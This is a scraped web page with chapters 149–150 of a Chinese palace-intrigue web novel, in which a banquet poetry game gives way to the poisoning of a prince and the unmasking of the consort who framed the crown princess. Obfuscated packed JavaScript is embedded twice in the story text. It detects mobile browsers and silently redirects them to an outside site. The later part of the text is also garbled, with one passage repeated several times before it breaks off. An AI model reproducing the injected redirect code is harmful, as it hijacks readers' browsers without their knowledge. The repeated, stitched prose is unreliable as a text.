“诸位,相信你们对今日的美食宴都是很满意的,可是咱们光吃东西多少有些无趣了,本宫来自南诏,我们南诏的文雅到底比天元差了一些,诸位都是天元的栋梁之材,饱读诗书,诗词歌赋不在话下,不如我们今日就来题词,本宫还让人准备了花茶,就当是行风雅了。” “诸位的题词待本宫有机会回南诏,就带回南诏,让我们南诏的公子小姐们好好的观摩学习。” 第一百四十九章 秦王** 题词? 在众人诧异的目光中。 沈安若接过翡儿递过来的折扇,朝商玄澈开口。 “就从殿下开始吧。 “是题词,也是诗词交流,大家可以相互观赏。 很快王司记也让人将笔墨端上桌子。 然后拿出空白的折扇。 “大人请。 “夫人请! “小姐请! 王司记亲自走到了秦王那一桌。 “早就听闻秦王殿下文采斐然,诗词造诣非凡,今日这诗词交流之会,还望殿下能率先挥毫,为大家开个好头。 沈安若继续笑着开口。 “诸位的墨宝都是要拿到南诏去给南诏的人观摩的,还请诸位题诗的时候留下自己的名字。 此时商玄澈已经写好了一句诗了,将扇子递给身边的翡儿。 翡儿接过扇子,看向沈安若,沈安若鼓励的点了点头。 翡儿拿着扇子走到高相身边。 “高大人请。 沈安若笑着开口。 “丞相大人乃是文官之首,南诏的人能够一睹丞相大人的文采定然对丞相大人膜拜不已,丞相大人可莫要隐藏实力呀。 不过就是提一句诗而已,高丞相客气的说了一句。 “太子妃妙赞了。 然后在丫鬟的伺候下接过毛笔开始提诗词。 大家也都在同僚或者身边的人递过来的折扇上写上了自己的词,留下了自己的名字。 甚至相互交谈夸赞着。 “周大人这句词写的妙啊。 “王大人写得也妙笔生花啊。 “论诗词还得是咱们才名济济的凤大人……… 秦王提完词以后,王司记又亲自将折扇递给秦王身边的那些官员。 直到折扇上提满了诗词,王司记将折扇拿回递到了沈安若的手中。 “公主。 沈安若看着上面落下的名字,一脸笑意的夸赞。 “诸位大人果然才华横溢,这诗词每一首都堪称佳作,待本宫回到南诏,定要让南诏众人好好领略天元文人的风采。 忽然王司记递过来一把折扇,与沈安若眼神交换了一下。 沈安若看着折扇上的名字,很快将一句诗读了出来。 “云开雾散终有日,乘风破浪向天涯。 “本宫就说是何人有如此高的才华,原来是高公子。 高晚意起身拱手。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “太子妃廖赞了。” “不过是一时间抒情而发罢了。” 沈安若目光看向他。 “皇城你都说高家少夫人与高公子一见钟情,今日一见高公子的才情,本宫总算是明白了,高公子这般有才华之人,怕是皇城的少女见了都特倾心的。” 说完脸上又带着几分惊讶的开口。 “呀,今日怎么没有见少夫人?” “本宫可是听闻了,高公子对少夫人一片深情,更是不顾及门店差距,执意要亲自上门求取的,今日这样的美食宴,高公子与少夫人不是应该出双入对才是吗?” 高晚意闻言拱手道。 “钱钱最近感染风寒身子不适,所以没有来参加美食宴。” 沈安若听了点了点头。 “原来如此。” “本宫还是在除夕宴会的时候见过少夫人,那个时候就觉得少夫人与高公子郎才女貌,是天造地设的一对,天下人都对夫妻恩爱向往,盼望有情人终成眷属,高公子和少夫人可是大家眼里的一段佳话啊。” 幸亏自己及时阻止了母亲,皇城里面盯着高家的人太多了,若是赵钱钱真有一个好歹,赵家不过就是商贾,高家还不至于怕一个商户,怕的是别人利用赵钱钱来对付高家,高晚意笑着开口。 “多谢太子妃对贱内的挂怀,等到贱内养好了病,再让她来拜访太子妃。” 接下来,沈安若又对好几人的诗词进行了夸赞。 甚至还与太子低声交谈。 其他人也相互交流着今日写的诗词。 顾思娴看着沈安若与商玄澈靠近看着诗词,二人脸上都带着笑意的交谈模样。 再看看这场美食宴,不论是太子府的布置,还是桌子上的美食,都不曾有半点差错,甚至四处安排的人十分妥当,以往宴会上会出现的什么衣服弄脏了,酒水洒了,饭菜打翻,或者有人落水之类的现象硬是一样都没有出现。 可见沈安若的确很有手腕。 沈安锦看着沈安若一脸幸福的模样,眼里的嫉妒疯狂的增长。 端起桌子上的酒杯,其中一杯递给秦王。 “王爷,锦儿敬王爷。” 秦王一脸笑意的接过酒杯。 “好,我们夫妻二人喝一个。” 坐在一旁的顾思娴看了一眼二人,面色平静。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273991|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >忽然,秦王一口鲜血吐了出来。 沈安锦眼里闪过一抹光芒,大声的喊了起来。 “王爷,你怎么了?” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “王爷,王爷…………” 语气里面都是担忧。 众人也都纷纷转头看向秦王所在的方向,原本热闹欢快的美食宴瞬间被这突如其来的变故搅得气氛凝重起来。 高相起身朝高晚意使了一个眼神,然后疾步朝秦王走去。 “王爷…………” 沈安锦眼泪已经一颗又一颗的滚落下来,抬头看着就坐在主位上的沈安若。 “太子妃,我知道你不喜欢我,可你也不能因为我而迁怒王爷啊,王爷可是天元的秦王,你怎么能毒害王爷?” 沈安若与商玄澈对视一眼,随即看着秦王脸色苍白的模样。 “来人,传太医。” “锦侧妃倒是长了好一张伶牙俐齿的嘴,颠倒黑白张口就来。” “这场美食宴是本宫所办的,在场不论谁出了事都是在给本宫添麻烦,本宫就算要下毒,也不会这么明晃晃的在宴会上下。” 沈安锦一边扶着秦王,看着沈安若,眼里都是恨意。 “论伶牙俐齿,谁人比得过太子妃?” “太子妃向来聪慧敏捷,早就想好了,只要秦王殿下**,就可以说自己不会明显恍恍的下毒,以此来推脱责任。” 此时太医匆匆而来。 商玄澈沉声开口。 “还是先让太医给秦王诊脉吧。” 太医急忙上前给秦王诊治。 顾思娴看着太医,这太医来得很快啊。 一番诊治后,眉头紧锁,对着众人道。 “秦王殿下所中之毒颇为棘手,像是南诏的蛇毒,若是不及时解毒,只怕是…………” “微臣只能先施针,保住王爷的性命,希望可以及时找到解药。” 沈安锦见状眼里闪过一抹光芒,很快又被担忧掩盖,抱着秦王哭得泣不成声。 “王爷,王爷你不要丢下锦儿,你是锦儿唯一的依靠啊。” 随即冲过去朝沈安若跪下,不停的磕头。 “太子妃,求求你了,我知道错了,我知道你厌恶我,我以后不会再出现你的面前招惹你心烦的,哪怕是为了两国的交好,你就把简要交出来吧,是王爷真的有一个好歹,陛下那边你也无法交代啊。” 第一百五十章 搜身 毒来自南诏,众人都将目光看向了沈安若,难不成太子妃真的在宴会上毒杀秦王吗? 那太子妃也太蠢了一些。 高相看着沈安若,一脸的阴沉。 “太子妃,把解药交出来,不然我高家与太子妃不死不休。” 商玄澈目光冷冽的看着高相。 “丞相大人有什么证据证明**就是太子妃下的?” “身为臣子,威胁太子妃这可是藐视皇室的大不敬之罪。” 高相一脸的怒意。 “太子殿下还是莫要包庇太子妃为好,秦王殿下所中的是南诏的蛇毒,这美食宴又是身为南诏人的太子妃所办,这些证据难道还不够吗?” “我们在场的文武百官可都是亲眼看着秦王殿下吃了美食宴上的东西才吐血的。” 商玄澈眼眸又沉了几分,正要开口说什么,沈安若却伸手握住他的手,一脸淡定地笑了笑。 甚至依旧坐在椅子上,一副饶有兴趣的模样伸手撑住自己的下巴,看着跪拜在地上的沈安锦。 “沈安锦,高丞相,你们的意思是本宫故意举办美食宴,然后在秦王的膳食里面下毒是吗?” 沈安锦哭得梨花带雨,抽抽搭搭地回应。“太子妃,事到如今,证据确凿,您就别再狡辩了。秦王殿下何其无辜,您若是对我有气,冲我来便是,何苦要害秦王殿下。” 高相开口道。 “太子妃,秦王殿下是在这太子府出的事,此事本相已经让人进宫禀报皇上了,本相相信皇上会给秦王殿下做主的。” 沈安若轻笑一声,那笑声里满是嘲讽。 “呵!” “高相就因为毒是南诏的,这美食宴又是本宫所办,便断定是本宫所为。” 高相再次开口。 “太子妃还是不要狡辩,这么多人都看着的,秦王乃是吃了美食宴上的东西才吐血的。” 沈安锦哭着继续开口。 “是啊,姐姐,今日为了来参加美食宴,殿下一下朝就来了太子府,吃的都是太子府的东西。” 沈安若的目光看着二人。 “所以你们的意思是**就是本宫下在美食宴上的东西里的。” 为什么感觉沈安若总是强调美食宴上的东西?沈安锦皱眉开口。 “是,所以太子妃,你承认你毒杀秦王殿下了吗?。” 沈安若身子往后靠了靠,眼里没有半分的慌乱。 “说到南诏的毒,在场的人可不只是本宫是南诏人,锦侧妃也 是呢。” 然后目光看着高丞相。 “丞相大人,倒是不必等到陛下来,本宫现在就可以还原给大家一个真相。” “太医,劳烦你检查一下秦王桌子上的食物酒水。” 给秦王看诊的太医急忙监察桌子上的东西。 很快开口。 “太子妃,秦王殿下的酒杯里正是秦王殿下所中的蛇毒。” 沈安锦厉声开口。 “太子妃,你现在还有什么话可说?” “你好恶毒的心思,不过就是看不过我而已,因为秦王殿下护着我几次,你居然就毒杀秦王!” 沈安若依旧意念的淡定,甚至嘴角还勾起一抹似有似无的笑意。 “锦侧妃别慌。” “本宫刚刚说了,会还给大家一个真相的。” 随即目光看向了众人。 “诸位,本宫知道,在这皇城里或多或少总有人嫉妒本宫的身份,然后算计着给本宫使绊子,现在看来,这使绊子的人还是舍得下血本的。” “今日这场美食宴,本宫相信诸位夫人已经留意到了,太子府处处都是丫鬟心小厮守卫着,至于这端上桌子的美酒美食,本宫自然是有所准备的。” 此时。 王司记带着一个太医走过来。 沈安若继续开口。 “本宫前两日特意进宫了一趟,借了太后娘娘身边的薛太医,端上桌子的美食酒水都是薛太医亲自一道道监察过的。” 沈安若此言一出,满座皆惊,太后身边的薛太医,那可是太后的人,这些年,太后娘娘不问俗事,没想到这太子妃居然把太后娘娘身边的人都调动来太子府了。 原本哭得凄惨的沈安锦,脸色瞬间变得十分难看,这个沈安若心思可真多。 王司记带着薛太医走上前来,薛太医恭敬地向太子商玄澈和沈安若行礼后,开口说道。 “太子殿下,太子妃,诸位大人,老臣前两日受太子妃所托,对今日美食宴上所有要呈上的食物酒水都进行了严格的检查。每一道菜肴,每一杯美酒,老臣都亲自尝过,确认无毒之后才允许端上桌来,老臣保证端上来的食物没有任何差错。” 沈安锦眼神中闪过一丝慌乱,但很快有开口。 “就算这食物酒水原本无毒,谁能保证在端上桌的过程中不会被人下毒呢?” 沈安若脸上依旧是一脸的笑意。 “所以锦侧妃的意思是今日碰过秦王桌子上食物的人都有问题。” 沈安锦 闻言急忙开口。 “是,谁知道你是不是为了欲盖弥彰,可以让太医检查一番以后,在指使端菜的丫鬟下药。” 沈安若继续一脸笑意盈盈的看着沈安锦。 “所以锦侧妃的意思,碰过秦王食物的人就应该抓起来好好查探。” 沈安锦总感觉哪里不对劲,皱了皱眉头,可还是开口道。 “是。” 沈安若将目光看向了众人。 “诸位大人夫人今日可是听见了,这可是锦侧妃自己说的,碰过秦王食物的人都应该好好的查。” 商玄澈默契的开口下令。 “来人,将给秦王上菜的丫鬟还有锦侧妃都抓起来。” 沈安锦心里一慌,下意识的想跟秦王求救,去发现秦王依旧倒在桌子上。 “太子妃你想要做什么?你给秦王下的毒跟我有什么关系?” 可是两个宫女上前就将沈安锦控制起来了。 沈安若看着她,眼里带着嘲讽,就像是在看一个蠢货。 “为了这场宴会不出差错,本宫前两日进宫除了给太后娘娘借了薛太医以外,还跟太后娘娘借崔嬷嬷和宫里的人,既然是靠近秦王身边的人接近酒水下毒的,那装**色东西就还在下毒之人的身上,现在就请崔嬷嬷辛苦一下当众搜身吧。” 闻言急忙开口。 “是,谁知道你是不是为了欲盖弥彰,可以让太医检查一番以后,在指使端菜的丫鬟下药。” 沈安若继续一脸笑意盈盈的看着沈安锦。 “所以锦侧妃的意思,碰过秦王食物的人就应该抓起来好好查探。” 沈安锦总感觉哪里不对劲,皱了皱眉头,可还是开口道。 “是。” 沈安若将目光看向了众人。 “诸位大人夫人今日可是听见了,这可是锦侧妃自己说的,碰过秦王食物的人都应该好好的查。” 商玄澈默契的开口下令。 “来人,将给秦王上菜的丫鬟还有锦侧妃都抓起来。” 沈安锦心里一慌,下意识的想跟秦王求救,去发现秦王依旧倒在桌子上。 “太子妃你想要做什么?你给秦王下的毒跟我有什么关系?” 可是两个宫女上前就将沈安锦控制起来了。 沈安若看着她,眼里带着嘲讽,就像是在看一个蠢货。 “为了这场宴会不出差错,本宫前两日进宫除了给太后娘娘借了薛太医以外,还跟太后娘娘借崔嬷嬷和宫里的人,既然是靠近秦王身边的人接近酒水下毒的,那装**色东西就还在下毒之人的身上,现在就请崔嬷嬷辛苦一下当众搜身吧。” 闻言急忙开口。 “是,谁知道你是不是为了欲盖弥彰,可以让太医检查一番以后,在指使端菜的丫鬟下药。” 沈安若继续一脸笑意盈盈的看着沈安锦。 “所以锦侧妃的意思,碰过秦王食物的人就应该抓起来好好查探。” 沈安锦总感觉哪里不对劲,皱了皱眉头,可还是开口道。 “是。” 沈安若将目光看向了众人。 “诸位大人夫人今日可是听见了,这可是锦侧妃自己说的,碰过秦王食物的人都应该好好的查。” 商玄澈默契的开口下令。 “来人,将给秦王上菜的丫鬟还有锦侧妃都抓起来。” 沈安锦心里一慌,下意识的想跟秦王求救,去发现秦王依旧倒在桌子上。 “太子妃你想要做什么?你给秦王下的毒跟我有什么关系?” 可是两个宫女上前就将沈安锦控制起来了。 沈安若看着她,眼里带着嘲讽,就像是在看一个蠢货。 “为了这场宴会不出差错,本宫前两日进宫除了给太后娘娘借了薛太医以外,还跟太后娘娘借崔嬷嬷和宫里的人,既然是靠近秦王身边的人接近酒水下毒的,那装**色东西就还在下毒之人的身上,现在就请崔嬷嬷辛苦一下当众搜身吧。” 闻言急忙开口。 “是,谁知道你是不是为了欲盖弥彰,可以让太医检查一番以后,在指使端菜的丫鬟下药。” 沈安若继续一脸笑意盈盈的看着沈安锦。 “所以锦侧妃的意思,碰过秦王食物的人就应该抓起来好好查探。” 沈安锦总感觉哪里不对劲,皱了皱眉头,可还是开口道。 “是。” 沈安若将目光看向了众人。 “诸位大人夫人今日可是听见了,这可是锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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